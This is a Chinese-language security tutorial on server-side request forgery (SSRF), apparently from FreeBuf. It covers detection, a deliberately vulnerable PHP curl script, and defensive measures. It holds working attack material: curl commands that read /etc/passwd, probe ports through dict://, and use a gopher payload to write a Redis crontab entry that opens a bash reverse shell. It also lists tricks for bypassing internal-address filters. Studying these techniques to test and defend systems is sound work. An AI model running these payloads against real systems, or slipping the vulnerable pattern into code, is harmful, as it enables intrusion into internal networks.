

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由 攻击者构造形成,由服务端发起请求 的一个安全漏洞。一般情况下,SSRF攻击的目标是从 外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
大都是由于 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
回显判断有返回请求结果并会显示出来,访问日志判断,DNS请求检测....
分享:通过url 地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容。例如有道词典、UC、QQ浏览器等
图片加载与下载:通过指定URL地址加载或下载图片
图片、文章收藏功能:从分享的URL中读取其原文的标题、内容等
未公开的api实现以及其他调用URL的功能
网页采集/抓取的地方:对输入的url进行一些信息采集
关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
利用google 语法加上这些关键字去寻找SSRF漏洞
file_get_contents()将文件读入一个字符串中展示给用户fsockopen()获取用户指定url的数据(文件或者html)curl_exec()执行指定的 curl 会话fopen()函数打开文件或者 URLreadfile()函数读取一个文件,并写入到输出缓冲
Dict协议查看端口,版本信息;向服务器端口请求curl命令Gopher协议发送各种格式的请求包File协议在文件系统中读取文件HTTP/HTTPS协议内网的ip扫描、端口探测
1、用抓包工具看请求由客户端发起还是服务端发起(漏洞),如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址。
--通过二级域名暴力猜解工具模糊猜测内网地址。
2、直接返回的Banner、title、content等信息
3、dnslog等工具进行测试,看是否被访问
--可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
4、利用file协议 读取本地文件等
5、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞。
6、bool型SSRF
以curl举例:
Curl是一种命令行实用程序,用于从服务器传输数据或向服务器传输数据,该服务器设计为无需用户交互即可工作。
查看 curl 支持的协议列表 curl -V
本地利用方式:
(1)使用file(任意文件读取)
curl -v 'file:///etc/passwd'

(2)使用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
(3)利用gopher反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1
* * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
漏洞代码:
<?php $url = @$_GET['url']; if($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $co = curl_exec($ch); curl_close($ch); echo $co; }
代码解析:
从 URL 中获取 url 参数,然后访问 url 参数所指向的 URL 资源,最后把结果输出到页面上。
将源码保存为 ssrf.php,并部署到本地。
(1)使用file(任意文件读取)

(2)使用dict探测端口
端口开放时:

端口未开放时

Redis一般都是绑定在6379端口。如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。
如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。
gopherus工具
http://abc@127.0.0.1 实际上是让abc去访问站点127.0.0.1,
http://www.baidu.com@10.149.149.49 与 http://10.149.149.49 的请求是相同的。
利用[::]来绕过localhost
例如:http://[::]:80/ >>> http://127.0.0.1
限制了子网段,可以加 :80 端口绕过,
例如:http://127.0.0.1:80
URL中包含了内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过
在线站点:
985.so
URL Shortener
127.0.0.1
八进制格式: 0177.0.0.1
十六进制格式:0x7f.0.0.1
十进制整数格式: 2130706433
十六进制整数格式:0x7F000001
如果服务端没有先解析IP再过滤内网地址,那么可以利用特殊站点 (nip.io、sslip.io) 的子域名解析到对应的IP
例如:访问http://127.0.0.1.nip.io/1.html 实际访问的是http://127.0.0.1/1.html
目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip。
例如:127。0。0。1 >>> 127.0.0.1
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
例如:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/
扫内部网络/攻击内网
向内部任意主机的任意端口发送精心构造的Payload DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
对内网web应用进行指纹识别,通过访问默认文件实现 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sql注入等)
攻击目标主机(dict://探测端口 file://读取文件等)
破坏内部服务
禁止30x跳转。
过滤返回信息,验证远程服务器对请求的响应。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如 80、443、8080、8090。
设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///, gopher://, ftp:// 等引起的问题。
对DNS Rebinding,考虑使用DNS缓存或者Host白名单。
本文作者:无名草talent, 转载请注明来自https://www.freebuf.com/articles/web/326129.html